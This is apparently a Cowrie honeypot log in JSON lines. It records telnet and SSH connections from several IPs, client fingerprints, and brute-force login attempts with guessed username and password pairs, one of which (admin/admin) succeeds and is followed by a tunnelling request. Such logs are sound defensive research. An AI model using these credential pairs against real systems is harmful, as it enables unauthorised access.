{"eventid":"cowrie.session.closed","duration":30.9589626789093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:18.084257Z","src_ip":"69.73.180.12","session":"b64f1d6634ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":50516,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61ccb3dfcba","protocol":"telnet","message":"New connection: 69.73.180.12:50516 (10.17.0.5:23) [session: a61ccb3dfcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:19.150874Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58182,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1506f22ca7","protocol":"telnet","message":"New connection: 69.73.180.12:58182 (10.17.0.5:23) [session: 4b1506f22ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:21.131802Z"}
{"eventid":"cowrie.session.closed","duration":30.78267765045166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:22.077778Z","src_ip":"69.73.180.12","session":"3c14e904f2b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":39646,"dst_ip":"10.17.0.5","dst_port":23,"session":"6978e1d2fa9a","protocol":"telnet","message":"New connection: 69.73.180.12:39646 (10.17.0.5:23) [session: 6978e1d2fa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:23.337133Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.100.194.101","src_port":51064,"dst_ip":"159.203.135.109","dst_port":23,"session":"454aace1d52e","protocol":"telnet","message":"New connection: 122.100.194.101:51064 (159.203.135.109:23) [session: 454aace1d52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:25.021084Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46454,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a006b562bca","protocol":"telnet","message":"New connection: 69.73.180.12:46454 (10.17.0.5:23) [session: 5a006b562bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:25.106557Z"}
{"eventid":"cowrie.session.closed","duration":30.74832010269165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:32.090802Z","src_ip":"69.73.180.12","session":"7e2586b2c072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12921690940857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:33.192536Z","src_ip":"69.73.180.12","session":"fb489d036b15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628514766693115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:36.022121Z","src_ip":"69.73.180.12","session":"937f42b60ab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800185680389404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:37.013565Z","src_ip":"69.73.180.12","session":"1dec30358967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.800845623016357,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:37.821832Z","src_ip":"122.100.194.101","session":"454aace1d52e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394051790237427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:38.057384Z","src_ip":"69.73.180.12","session":"5e4d1998484c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851898431777954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:38.108399Z","src_ip":"69.73.180.12","session":"0b3055f5fb93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":54272,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2e75a733294","protocol":"ssh","message":"New connection: 103.63.108.25:54272 (159.203.135.109:22) [session: a2e75a733294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:39.078154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:39.082383Z","src_ip":"103.63.108.25","session":"a2e75a733294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:39.354623Z","src_ip":"103.63.108.25","session":"a2e75a733294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"asdfgh","message":"login attempt [mysql/asdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:40.482561Z","src_ip":"103.63.108.25","session":"a2e75a733294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:41.764531Z","src_ip":"103.63.108.25","session":"a2e75a733294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.030132293701172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:43.094404Z","src_ip":"69.73.180.12","session":"796e95997d57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30841898918152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:44.083274Z","src_ip":"69.73.180.12","session":"395d80af877b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109071254730225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:44.166321Z","src_ip":"69.73.180.12","session":"f267a654de23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941089391708374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:48.075534Z","src_ip":"69.73.180.12","session":"5dc1a6082e10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937721252441406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:50.088496Z","src_ip":"69.73.180.12","session":"a61ccb3dfcba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92567276954651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:52.057393Z","src_ip":"69.73.180.12","session":"4b1506f22ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56690263748169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:54.903657Z","src_ip":"69.73.180.12","session":"6978e1d2fa9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910255670547485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:56.016723Z","src_ip":"69.73.180.12","session":"5a006b562bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39124,"dst_ip":"159.203.135.109","dst_port":22,"session":"6096fbab08cf","protocol":"ssh","message":"New connection: 159.203.92.129:39124 (159.203.135.109:22) [session: 6096fbab08cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:56.204028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:56.208738Z","src_ip":"159.203.92.129","session":"6096fbab08cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:56.212503Z","src_ip":"159.203.92.129","session":"6096fbab08cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"aaaaaa111111","message":"login attempt [aaaaaa/aaaaaa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:56.222564Z","src_ip":"159.203.92.129","session":"6096fbab08cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0012903213501,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:56.581534Z","src_ip":"193.239.26.142","session":"0f727bb11141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:57.229174Z","src_ip":"159.203.92.129","session":"6096fbab08cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130724906921,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:57.485975Z","src_ip":"193.239.26.142","session":"7e7688af750b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb867d3eb7a","protocol":"telnet","message":"New connection: 193.239.26.142:47134 (10.17.0.5:23) [session: 9bb867d3eb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:38:58.810166Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31982,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d206731a09f","protocol":"ssh","message":"New connection: 87.251.64.176:31982 (10.17.0.5:22) [session: 7d206731a09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:27.725684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:27.729962Z","src_ip":"87.251.64.176","session":"7d206731a09f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:27.828547Z","src_ip":"87.251.64.176","session":"7d206731a09f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:28.117124Z","src_ip":"87.251.64.176","session":"7d206731a09f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:28.215634Z","session":"7d206731a09f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:28.314277Z","src_ip":"87.251.64.176","session":"7d206731a09f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:28.549494Z","src_ip":"87.251.64.176","session":"7d206731a09f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"67d9d826df10","protocol":"ssh","message":"New connection: 159.203.92.129:54300 (159.203.135.109:22) [session: 67d9d826df10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:38.525359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:38.529255Z","src_ip":"159.203.92.129","session":"67d9d826df10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:38.532604Z","src_ip":"159.203.92.129","session":"67d9d826df10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"aaaaaa123","message":"login attempt [aaaaaa/aaaaaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:38.546402Z","src_ip":"159.203.92.129","session":"67d9d826df10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:39.555996Z","src_ip":"159.203.92.129","session":"67d9d826df10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":50922,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d28adf2fa00","protocol":"ssh","message":"New connection: 103.63.108.25:50922 (159.203.135.109:22) [session: 3d28adf2fa00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:42.239771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:42.245144Z","src_ip":"103.63.108.25","session":"3d28adf2fa00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:42.520550Z","src_ip":"103.63.108.25","session":"3d28adf2fa00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:43.621061Z","src_ip":"103.63.108.25","session":"3d28adf2fa00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:44.900439Z","src_ip":"103.63.108.25","session":"3d28adf2fa00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37638,"dst_ip":"159.203.135.109","dst_port":22,"session":"87e5785c606c","protocol":"ssh","message":"New connection: 80.94.92.186:37638 (159.203.135.109:22) [session: 87e5785c606c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:52.357085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:52.360999Z","src_ip":"80.94.92.186","session":"87e5785c606c","protocol":"ssh"}
